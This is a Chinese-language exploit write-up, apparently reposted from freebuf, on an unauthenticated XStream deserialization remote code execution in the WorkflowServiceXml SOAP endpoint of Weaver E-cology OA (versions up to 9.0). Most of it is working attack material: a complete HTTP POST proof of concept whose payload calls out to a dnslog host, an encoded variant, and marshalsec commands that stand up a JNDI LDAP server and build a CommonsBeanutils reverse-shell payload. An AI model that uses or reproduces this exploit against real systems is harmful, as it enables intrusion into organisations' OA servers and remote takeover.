*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
一、漏洞描述
泛微E-cology OA系统的WorkflowServiceXml接口可被未授权访问,攻击者调用该接口,可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程代码执行。
二、漏洞影响
E-cology <= 9.0
三、漏洞复现
访问主页:
POC:
POST /services%20/WorkflowServiceXml HTTP/1.1 Accept-Encoding: gzip, deflate Content-Type: text/xml;charset=UTF-8 SOAPAction: "" Content-Length: 10994 Host: xxx User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: close <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn"> <soapenv:Header/> <soapenv:Body> <web:doCreateWorkflowRequest> . <web:string> <map> <entry> <url>http://thelostworld.dnslog.cn</url> <string>http://thelostworld.dnslog.cn</string> </entry> </map> </web:string> <web:string>2</web:string> . </web:doCreateWorkflowRequest> </soapenv:Body> </soapenv:Envelope>
编码:
POST /services%20/WorkflowServiceXml HTTP/1.1 Accept-Encoding: gzip, deflate Content-Type: text/xml;charset=UTF-8 SOAPAction: "" Content-Length: 10994 Host: xxx User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: close <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn"> <soapenv:Header/> <soapenv:Body> . <web:doCreateWorkflowRequest> <web:string> <map>           <entry>             <url>http://thelostworld.dnslog.cn</url>             <string>http://thelostworld.dnslog.cn</string>           </entry>         </map> </web:string> . <web:string>2</web:string> </web:doCreateWorkflowRequest> </soapenv:Body> </soapenv:Envelope>
或者直接:
利用 marshalsec 生成反弹shell payload
启动 jndi :ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#Exploit
生存poc:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils ldap://127.0.0.1:1389/Exploit > payload.xml
DNSlog:
执行命令
参考:
https://mp.weixin.qq.com/s/-eTSGvjuygGxULHcw6lOMg
http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEE-Cology%20WorkflowServiceXml%20RCE.html?h=%E6%B3%9B%E5%BE%AEE-Cology%20WorkflowServiceXml%20RCE
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thelostworld
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来源:freebuf.com 2021-05-18 22:04:04 by: thelostworld
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